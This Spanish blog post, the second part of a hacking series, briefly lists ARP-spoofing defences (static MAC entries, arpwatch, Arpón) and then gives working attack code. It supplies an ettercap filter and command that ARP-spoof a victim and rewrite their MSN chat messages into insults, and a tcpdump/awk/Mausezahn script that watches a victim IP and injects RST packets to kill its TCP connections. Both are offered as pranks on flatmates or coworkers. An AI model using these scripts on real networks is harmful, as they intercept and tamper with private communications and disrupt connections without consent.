Haciendo el gamberro en intranet & hacking con dos piedras (2ª parte)

Como lo prometido es deuda y en hackplayers, pese a la crisis, se pagan las deudas, dado que la semana pasada os emplazamos a una segunda entrada de "haciendo el gamberro en intranet y hacking con dos piedras" muy gustosamente retomaremos la susodicha entrada.

Aunque hablar de un objetivo para este texto sería algo capcioso, pues dudo que valga para algo o alguien lo lea....XDXDXD en principio lo tiene, pretendemos divertirnos aprendiendo e intentar ver que se pueden hacer las cosas de muchísimas maneras ... incluso con lo justo sin demasiadas herramientas... a lo "old school" como diría un vetusto amigo.

En esta entrada dejaremos a un lado nuestro arsenal preconfigurado y desempolvaremos viejas herramientas que teníamos ya casi olvidadas... Vamos y no me saco el cpc464 porque no tiene tarjeta wireless :P y de paso veremos como pasar unas risillas a costa de nuestros vecinos de red.

En la entrada anterior no mencione ningún tipo de contramedida, pero en esta lo haremos. Desde la modesta opinión del que os habla y como diría mi abuelita "hay que saber hacer de to...!!!!".
La última vez que nos vimos (en el sentido figurado de la frase, claro está),
si mal no recuerdo, estábamos viendo como resetear sesiones establecidas muy a lo MacGyver, pero el objetivo era ver el porqué de las cosas.
También vimos un poco por encima los riesgos de dejar desprotegido el protocolo ARP.


Vamos a empezar si os parece comentando un par de contramedidas y luego seguimos...

La primera de ellas es la contramedida de las tres "Bs":  buena, bonita y barata en cuanto a ARP se refiere y que, a nivel particular, la debería adoptar todo hijo de vecino en su red de casa. Se trata de establecer la MAC del router de forma estática ya que cuando menos no puede evitar un par de disgustos. Además, si en nuestra red están los tres CHUCHES de siempre: ordenador, teléfono e impresora tampoco sería malo establecer su MAC de forma no dinámica. Aunque pueda parecer difícil es algo sencillo que no lo vamos a tratar a fondo aquí, ya que hay cuarenta mil textos en Internet y se va un poco del objetivo del post.

Otra opción es usar la herramienta arpwatch que monitoriza la actividad de la red ethernet y mantiene una base de datos de pares de direcciones ip y mac. En caso de que se produzca un cambio, esta aplicación lo reporta por email.

Y ya para los niveles máximos de paranoia podemos contemplar la opción de instalar Arpón. Herramienta de la cual ya hablamos hace tiempo hackplayers.

3. YO NO DIJE ESO!!

Tras ver como proteger nuestra red sigamos con los ataques y vamos a ver uno muy divertido. Imaginaos que estáis con vuestro compañero de piso, o trabajo y él está hablando con su novia por el messenger.

Vamos a secuestrar esos paquetes y retocaremos la información, para ello vamos a utilizar ettercap y sus filtros:

msn.filter 
if (ip.proto == TCP) {
    if (tcp.src == 1863 || tcp.dst == 1863) {
        if (search(DATA.data, "")) {
            replace("guapisima", "petardaca");
            replace("te quiero", "q te jodan");
        }
    }
}

Lo primero que haremos es "compilar "el filtro en ettercap y luego haremos fuego con el siguiente comando:

# ettercap -Tq -M arp:remote -i interface -F filter.ef // //


El resultado habla por si solo:

 

Bueno tras esta simpática metida de zarpa en paquetes ajenos (aconsejamos no decir esta frase fuera de contexto) vamos a ver un poquito mas de como coger los paquetes al vuelo y modificarlos, siguiendo con la primera parte del post en la que vimos como retocar los paquetes a mano y mandarlos..

Como podréis imaginar hacerlo de esa manera tan rudimentaria sería "imposible" porque no somos tan rápidos, tenemos que ver la manera de automatizar el proceso...

Para esto nos serviremos de dos grandes herramientas: TCPDUMP (para mí uno de los mejores sniffers jamás escritos, versátil, rápido y simple)
y del generador de paquetes Mausezahn del cual hablamos también aquí en hackplayers.

También utilizaremos un pequeño script que he montado (por favor los puristas de la programación no seáis muy críticos) que os dejo aquí y en pastebin.

Lo que haremos en este ejercicio es estar al loro de una nueva conexión, agarraremos el paquete que nos interesa y cerraremos la conexión.

Dejamos a tcpdump con la oreja puesta en las conexiones de la víctima 192.168.0.107 atento a los paquetes syn-ack gracias al filtro 'tcp[tcpflags] & (tcp-syn|tcp-ack) == (tcp-syn|tcp-ack)' En cuanto lo reciba leeremos la info que nos interesa, en este caso es el ack y los datos de la conexión.

Le pasamos esa información a MZ y montamos un paquete con flag RST actiell seq_num correspondiente para cerrar la conexión...
#script by The Monster of cookies 
#!/bin/bash
  tcpdump -i wlan0 host 192.168.0.107 and  -S -n -e -l  'tcp[tcpflags] & (tcp-syn|tcp-ack) == (tcp-syn|tcp-ack)'  | awk '{
  CONVFMT="%u";
  srand();
#recogemos las variables de la salida tcpdump
  dst_mac = $2;
  src_mac = $4;
  split($12, dst, ".");
  split($10, src, ".");
  src_ip = src[1]"."src[2]"."src[3]"."src[4];
  
  dst_ip = dst[1]"."dst[2]"."dst[3]"."dst[4];
  src_port = substr(src[5], 1, length(src[5]));
   

  dst_port = substr(dst[5], 1, length(dst[5])-1);
#  recogemos el ack number para poder mandar paquetes licitos
  seq_num = $18  ;

# le pasamos la informacion a mausehn
 

  exec_string= "mz wlan0 -c 10   -A "dst_ip"  -B " src_ip " -a "src_mac"   -b "dst_mac" -t tcp \" flags=rst, win=0, dp=" src_port ", s="seq_num " sp="dst_port" \"  " ; 
# Informacion.. input vs. output
  print "[in] "$1 " "$2 " "$3" "$4" "$5" "$6" "$7" "$8" "$9" "$10" "$11" "$12 ""$13""$14""$15 " " $16" " $17" "$18 " "$19;
 print "[out] "exec_string;

# Injectamos los paquetes con Mausezahn
  system(exec_string);
}'
Esto solo es una pequeña muestra de lo que podemos hacer, podemos enrevesar el proceso cuanto queramos y conseguir cosas muy, muy interesantes....espero que os haya gustado. 

Un saludo.

Comentarios

  1. Muy interesante sería una entrada para desvelar los misterios de tcpdump. En muchos tutoriales solo se araña la superficie de esta herramienta, y nunca me hubiera imaginado la potencia de pasar cada línea a un script.

    ResponderEliminar
    Respuestas
    1. llevas toda la razon,...llego a contestarte un año tarde disculpas....pero nada mas que por eso......

      Eliminar

Publicar un comentario